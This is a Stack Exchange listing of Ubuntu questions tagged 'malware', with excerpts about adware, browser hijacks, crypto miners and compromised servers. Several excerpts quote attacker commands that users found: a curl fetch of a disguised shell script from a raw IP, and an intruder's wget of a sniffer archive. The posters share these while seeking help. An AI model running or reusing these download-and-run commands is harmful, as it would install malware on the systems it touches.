Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange
Make your voice heard. Take the 2019 Developer Survey now

Questions tagged [malware]

Questions relating to malicious software

1
vote
0answers
23 views

Safest practice for installing software with potential malware [duplicate]

For a project I have been contracted to work on a collaborating Chinese programmer has provided some software to simplify some tasks. I am unaware whether this software package contains malware or ...
2
votes
1answer
93 views

Why is gnome-calculator scanning my home directory?

I'm currently running Ubuntu 18.04.1 and have gnome-calculator 3.30.1 installed. I'm pretty sure that's the one that came bundled with 18.04. Every time I launch gnome-calculator the following ...
-1
votes
0answers
27 views

Apt-lock unavailable on fresh system , chrome showing ads on ad free websites , a malware?

I was working on Chrome for Ubuntu for a long time , but from last two three days it started behaving weird , I was seeing ads on my google search , for example I searched "hello" it showed adele's ...
1
vote
2answers
47 views

How do you reset firefox without losing your bookmarks/logins?

I've been getting these black-background text popups in the upper right corner when I have firefox running (they appear even when minimized) and when I click on them it takes me to pages. I'm not sure ...
-1
votes
1answer
43 views

What is recommended for fighting threats on an Ubuntu system? [closed]

I'm fairly new to GNU/Linux and I've recently migrated to Ubuntu because I've heard and read it's one of the best distros to try when you're learning Linux. However, I'm looking for something to ...
0
votes
0answers
55 views

on-going ransomware attack

While I have a lot of experience (including driver level programming), this one is new to me. I'd appreciate any pointers as to how to proceed. I was running Ubuntu 16.04 LTS. I updated daily. And ...
1
vote
0answers
40 views

I have noticed that sometimes my HD is spinning and spinning running “find command” on Xubuntu 16.04.5

When I start my laptop the HD is spinning executing find command without reason, I tried to clean saved sessions, looking in startup programs if there is any command using find command, but I couldn't ...
0
votes
0answers
50 views

getting rid of the `hwatchtvnow` virus

My machine appears to be infected with the search.hwatchtvnow.co virus. I get popups from it regularly. Since I use chrome,firefox and opera, I'm not sure which browser is infected. There ...
0
votes
0answers
148 views

Infected file found without further information in ClamAV scan. Any way to quickly see what it was?

My ClamAV was set up following this answer. I wanted to run it on the whole system, using clamscan -r /, and it told me: Infected files: 1 in the results, without any further information. It looks ...
0
votes
0answers
36 views

meltdown_v1, spectre_v2 capabilities on 18.04 LTS [duplicate]

Hardware more than Operating System related but: When running cat /proc/cpuinfo from the terminal I am given the lovely output: bugs: meltdown_v1_spectre_v2_speculative_bypass The infected CPU is a ...
0
votes
1answer
77 views

Strange CPU usage behaviour with systemd, sleep, initctl or gvfsd processes owned by user

I have noticed in my 'indicator-multiload' application that my CPU usage some time after booting is raised permanently at about 50 to 100 percent. After running 'top' I can see a process owned by the ...
3
votes
2answers
1k views

How to remove naganoadigei.com popup virus

Whenever I click any URL so that will open a new tab with this URL (Please be careful): hxxp://naganoadigei.com/imp/6932/?scontext_r=xlBO1OGoXtDY%2AqpCVwdK6hjcJXf8xQdE2bF9D7qYvJirlGAXcl42kf_7I6Zo60fY&...
64
votes
1answer
11k views

Notification saying “A new Virus is Stealing Data!” on Ubuntu 18

Recently whenever I open Firefox I get a message in notification center. It's not always the same and it keeps changing. here is an example: It's not always this. It gives other messages too and ...
0
votes
1answer
69 views

Unusuall activity

I'm a new user as you can see, so sorry if the question is boring or imprecise. I upgraded my Ubuntu 16.04 to 18.04 and everything was fine. But after a power outage, something went wrong. It did not ...
2
votes
1answer
51 views

How can I find the origin of a process and stop it permanently?

I have an Ubuntu system running an apache server. I have found a process cache.sh which I think might be a crypto-mining process and which is running all the time on my server consuming up to 98% CPU. ...
0
votes
1answer
70 views

Removing W32/Parite.B virus

I scanned one of my directory with clamscan and it showed that every .exe file is infected: .../file.exe: Heuristics.W32.Parite.B FOUND .../file2.exe: Heuristics.W32.Parite.B FOUND .../file3.exe: ...
0
votes
0answers
55 views

Virus detection in browsers

I have downloaded and installed ubuntu on my home pc. I have firefox (preinstalled) and installed chrome. I am now trying to download a miner to my pc which I know will flag as a virus. Everytime I ...
5
votes
2answers
2k views

Some supisious software making request to nmcheck.gnome.org

Since last few days my system popup a Ubuntu default web-browser and make request to nmcheck.gnome.org website and immediately shut off after this issue I can not run system update also, I am php ...
1
vote
1answer
96 views

Test firefox for virus/hijacker

I am a bit concerned about my firefox being hijacked or something. I went to a website and it opened a pop-up asking firefox to be updated. I knew immediately it was a malicious code because it ...
0
votes
0answers
78 views

zukxd6fkxqn redirect in Firefox

I am running Ubuntu 16.04. While using Firefox occasionally the browser will open another tab then automatically close it. The tab will have an address along the lines of zukxd6fkxqn .com. I know that ...
0
votes
0answers
21 views

Do scripts in cron update when programs are updated?

I have recently found a lot of brute force SSH attempts on my server. As a result of that, I have changed the port of my server and put a few firewalls in place to make it harder for my server to be ...
1
vote
1answer
519 views

Scanning External Drives for Viruses - Ubuntu [duplicate]

So I recently installed Ubuntu onto one of my Computers and would like to uses it to scan external drives USB and what not for viruses that can affect windows PC. Is there a possible antivirus or ...
1
vote
1answer
168 views

Slurm new user on Ubuntu 18.04

I am a very new user of Ubuntu (escaped from Windows recently) and yesterday when I was turning on my PC I found new user listed in login options with a nickname "Slurm" (I am the only user with a ...
1
vote
0answers
39 views

Chrome re-directs to spam site

This might be a little unrelated to this stack but I could not find a more suitable place. I am running Ubuntu 16.04 and have chrome installed on it. The problem is when I try to access a particular ...
0
votes
0answers
69 views

infection or problem

I'm a 25 years experience technician on windows system, 1 year on Ubuntu. this week I face an issue that my experience tells me its an infection. On my desktop system I was trying to create a ...
2
votes
3answers
448 views

Can I get a virus/malware from only visiting websites?

When I use Firefox and browse the web, can I get viruses or malware without downloading and installing anything? For example, from bad scripts?
0
votes
1answer
109 views

How do I clean Ubuntu installation of Viruses / Miners?

So it appears our VPS is being hacked, I noticed websites running slow so I checked for processes using htop. There are various cpuminers present, getting processor to nearly 100% usage. I think hack ...
1
vote
1answer
100 views

Can my system be infected with the Trojan known as commondatastorage?

On Facebook, a friend sent a post with many names including mine. There was a video and I clicked. It opened a page with nothing. The URL started with commondatastorage.google.apis and more. Nothing ...
1
vote
1answer
49 views

Malware by wine [duplicate]

If a portable windows program has malware and I open it by wine, just close it to do away with the malware? Sorry for my grammar. I'm not fluent in English Thank you
2
votes
1answer
155 views

interpreting message in “virustotal”

I wonder if anyone can help me with the results of my virustotal-scan (online virus lab). I submitted a pdf-file of an Russian-German textbook ("1_Ulrike_Patow_Gabriela_Stelzig_Russisch_bitte.pdf") ...
1
vote
1answer
11k views

Does Ubuntu 18.04LTS require antivirus/malware? [duplicate]

(not duplicated because i'm specifying version of Ubuntu, other questions are about ubuntu without version) Does ubuntu 18.04LTS require antivirus/malware? wich is the best option? if yes. i have ...
1
vote
1answer
42 views

What precaution should users take when installing proprietary snaps to avoid malware? [duplicate]

Proprietary snaps contributed by a particular entity were removed from the snap store as described in How to ask to ban the application for security reasons?. What cautions should users take before ...
3
votes
0answers
65 views

Where to complain about applicaton in Software Center?

Recently I tried applicaton Qstamina-snap. And when I opened it there another window appear with advertising and I can't use application itself, when I close ad then app close too. And I'm not sure if ...
2
votes
0answers
56 views

How locked user keeps running?

I got a compromised server, most likely a crypto miner or something, htop reports this: 30393 geauxsmar 20 0 5328 3984 2540 R 100. 0.1 21h26:45 [sync_supers] I locked it with: sudo usermod --...
0
votes
0answers
94 views

sync_supers are created again and again for www-data [duplicate]

I have updated drupal 7 from 7.2 to 7.59., but the problem remains the same. 4353 www-data 20 0 24392 3888 1012 R 100.0 0.0 13:15.26 [sync_supers] 5268 www-data 20 0 24392 3888 1012 R 100.0 0.0 9:42....
0
votes
1answer
109 views

windows virus on usb will run on ubuntu 16.04? [duplicate]

As the title suggest, is it really possible that a virus/malware/spyware or anything bad that will affect my pc, will be transferable and "AUTO-RUN" from a USB with files copied from a Windows OS(...
3
votes
2answers
1k views

suppoie malware removal (script hidden in .jpg)

Found this on an Ubuntu 16.04 server. Malware I guess, but is there a guide to make sure I can clean it all out? curl -s http://158.69.133.18:8220/logo7.jpg #!/bin/sh ps aux | grep -vw suppoie | awk ...
-3
votes
1answer
350 views

I am getting this http://onclickrev.com redirects from chrome and mozilla

I am getting this http://onclickrev.com redirects from Chrome and Mozilla Firefox when ever I view sites that are not secured connects - like http:/******.com and the CPU usage goes above 60%. Is ...
0
votes
0answers
327 views

How to remove Ad Malware/Virus from Google Chrome which causes ads to appear in list of results?

Screenshot of Ads appearing as chrome search results: I don't know what got into my system. I am really fed up with these. I have looked up all my extensions and did not find anything malicious. I ...
0
votes
1answer
65 views

Trying to remove brontok virus, don't understand output of 'ps aux | grep .exe'

I have what I think is the brontok virus. Trying to remove it following this post How do I remove the brontok virus that has infected my Ubuntu via Wine? I entered the command ps aux | grep .exe ...
1
vote
0answers
65 views

How to scan for suspicious php files on filesystem

As in the title, I would like to scan some directories on my local filesystem for suspicious (eg. obfuscated, system-calls, create-method calls, strange file names,... ) PHP-Files. Is there a known ...
0
votes
0answers
102 views

Is org.debian.apt.update-cache legitimate or spyware? [duplicate]

My filename: Spyware or something else bad - ask Linux Ubuntu 2018-Mar-05 I signed into my user account and an Authenticate window popped up. (I only use my Admin account to update Ubuntu every day I ...
24
votes
2answers
6k views

Found SSH Backdoor on VServer. What to do?

Yesterday I checked my history of commands on my VServer. I found several suspicious lines. 195 wget aridan.hol.es/sniffer.tgz 196 tar xvf sniffer.tgz 197 ls -a 198 rm -rf sniffer.tgz ...
0
votes
0answers
453 views

How can I remove JS:Cryptonight[Tri]?

I accidentally got infected with JS:Cryptonight[Tri], which is a Cryptocurrency Miner that makes use of my CPU power to mine Monero (XMR) coins. I was doing some daily research for my job and I got ...
1
vote
3answers
541 views

google search results page hijacked by search.interactivesplash.com

I noticed after unsubscribing from a junk mail, not sure this was a good idea, when I did a Google search using Chromium Web browser, the results page showed up, but very quickly before I could click ...
0
votes
1answer
67 views

Help with hijacked dns

When I try to navigate to a domain that I know doesn't exist, I automatically get routed to advexplore dot com which shows me a search bar and genealogy links. This is obviously not a default ...
-3
votes
1answer
98 views

Possible ransomware

I have an SSD with Ubuntu on a partition and /home on another partition. I also have another HDD installed on the system. The SSD is connected through PCIe so the hard drive access red led doesn’t ...
0
votes
0answers
43 views

Mozilla and Chromium Hijacked, ClamAV blocked, system slow and unstable

So a day ago I switched from Windows to Ubuntu because I'm being targeted by a hacker and cleaning my computer was becoming a full-time job. I was in a social media site when firefox started getting ...
0
votes
2answers
178 views

Ubuntu 14.04 is CrossRat malware a threat?

I saw a link about CrossRat Malware on Quora, is this Malware a problem on Ubuntu 14.04? I have not been able to find the location listed for linux on my Ubuntu. Also I generally have Java shut off ...
1
vote
0answers
151 views

storage.googleapis.com malware on chromium

I did a serious mistake of opening the following malware link on my chromium browser: hover here below to show probably dangerous link I wish to know what are the implications, on the OS as well ...